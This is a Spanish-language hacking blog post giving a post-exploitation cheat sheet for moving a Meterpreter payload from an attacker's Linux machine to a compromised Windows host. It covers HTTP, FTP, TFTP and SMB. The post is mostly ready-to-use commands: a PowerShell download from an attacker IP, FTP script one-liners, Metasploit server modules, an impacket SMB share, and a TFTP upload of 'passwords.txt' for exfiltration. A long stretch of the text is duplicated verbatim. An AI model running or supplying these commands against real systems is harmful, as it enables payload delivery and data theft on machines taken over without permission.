Opciones para transferir ficheros de Linux a Windows (post-explotación)
Es muy frecuente tener que subir una herramienta o un payload que hemos generado a una máquina comprometida previamente, normalmente porque hemos obtenido una shell y necesitamos escalar privilegios y/o instalar un túnel para pivotar (si se trata de una intrusión real o un laboratorio con más niveles).
Lo más frecuente es levantar un sencillo servidor web con Apache o python (SimpleHTTPServer) en la máquina del atacante y descargar el binario en cuestión con un curl o wget. Pero pudiera darse el caso que no tuvieramos Apache instalado o ni si quiera Python, por lo que debemos contemplar otras alternativas como FTP, TFTP o SMB, que además nos permiten transferir archivos de forma bidireccional, algo útil incluso para exfiltración de datos.
En el blog de Ronnie Flathers aka ropnop veíamos una especie de cheatsheet para utilizar estos protocolos/métodos para transferir archivos de Linux a Windows que nunca viene mal tener a mano...:
HTTP
Servidor (atacante)
- Opción 1 (apache)
copiar archivo a /var/www/html (document root por defecto)
service apache2 start
- Opción 2 (módulo python SimpleHTTPServer)
python -m SimpleHTTPServer 80 (por defecto puerto 8000)
Cliente (víctima)
- Opción 1 (descargar desde el navegador o wget)
http://TU-IP-DE-KALI/met8888.exe
- Opción 2 (powershell)
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\hpys\Desktop\met8888.exe')
FTP
Servidor (atacante)
- Opción 1 (python-pyftpdlib)
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
- Opción 2 (metasploit)
msf > use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /root/shells
msf auxiliary(ftp) > exploit
Cliente (víctima)
- Opción 1 (manual)
ftp 10.9.122.8
binary
get met8888.exe
bye
- Opción 2 (script)
Editar fichero ftp_commands.txt:
open 10.9.122.8
anonymous
whatever
binary
get met8888.exe
bye
Ejecutar:
ftp -s:ftp_commands.txt
- Opción 3 (script - comando en una línea):
Lo más frecuente es levantar un sencillo servidor web con Apache o python (SimpleHTTPServer) en la máquina del atacante y descargar el binario en cuestión con un curl o wget. Pero pudiera darse el caso que no tuvieramos Apache instalado o ni si quiera Python, por lo que debemos contemplar otras alternativas como FTP, TFTP o SMB, que además nos permiten transferir archivos de forma bidireccional, algo útil incluso para exfiltración de datos.
En el blog de Ronnie Flathers aka ropnop veíamos una especie de cheatsheet para utilizar estos protocolos/métodos para transferir archivos de Linux a Windows que nunca viene mal tener a mano...:
HTTP
Servidor (atacante)
- Opción 1 (apache)
copiar archivo a /var/www/html (document root por defecto)
service apache2 start
- Opción 2 (módulo python SimpleHTTPServer)
python -m SimpleHTTPServer 80 (por defecto puerto 8000)
Cliente (víctima)
- Opción 1 (descargar desde el navegador o wget)
http://TU-IP-DE-KALI/met8888.exe
- Opción 2 (powershell)
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\hpys\Desktop\met8888.exe')
FTP
Servidor (atacante)
- Opción 1 (python-pyftpdlib)
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
- Opción 2 (metasploit)
msf > use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /root/shells
msf auxiliary(ftp) > exploit
Cliente (víctima)
- Opción 1 (manual)
ftp 10.9.122.8
binary
get met8888.exe
bye
- Opción 2 (script)
Editar fichero ftp_commands.txt:
open 10.9.122.8
anonymous
whatever
binary
get met8888.exe
bye
Ejecutar:
ftp -s:ftp_commands.txt
- Opción 3 (script - comando en una línea):
C:\Users\hpys\Desktop>echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt
TFTP
Servidor (atacante)
- Opción 1 (atftpd)
service atftpd start
- Opción 2 (metasploit)
msf > use auxiliary/server/tftp
msf auxiliary(ftp) > set TFTPROOT /root/shells
msf auxiliary(ftp) > exploit
Cliente (víctima)
instalar: pkgmgr /iu:"TFTP"
tftp -i 10.9.122.8 GET met8888.exe
tftp -i 10.9.122.8 PUT passwords.txt
SMB
Servidor (atacante)
https://github.com/CoreSecurity/impacket
# python smbserver.py ROPNOP /root/shells
Cliente (víctima)
- Opción 1 (Linux)
smbclient -L 10.9.122.8 --no-pass
- Opción 2 (Windows):
netview \\10.9.122.8
copy \\10.9.122.8\ROPNOP\met8888.exe .
(o ejecutar directamente)
Y hasta aquí el repaso a los métodos más comunes para la transferencia de archivos desde Linux a Windows... si conoces otro método no lo dudes y comenta!
Via: www.hackplayers.com
Opciones para transferir ficheros de Linux a Windows (post-explotación)
Reviewed by Zion3R
on
21:01
Rating: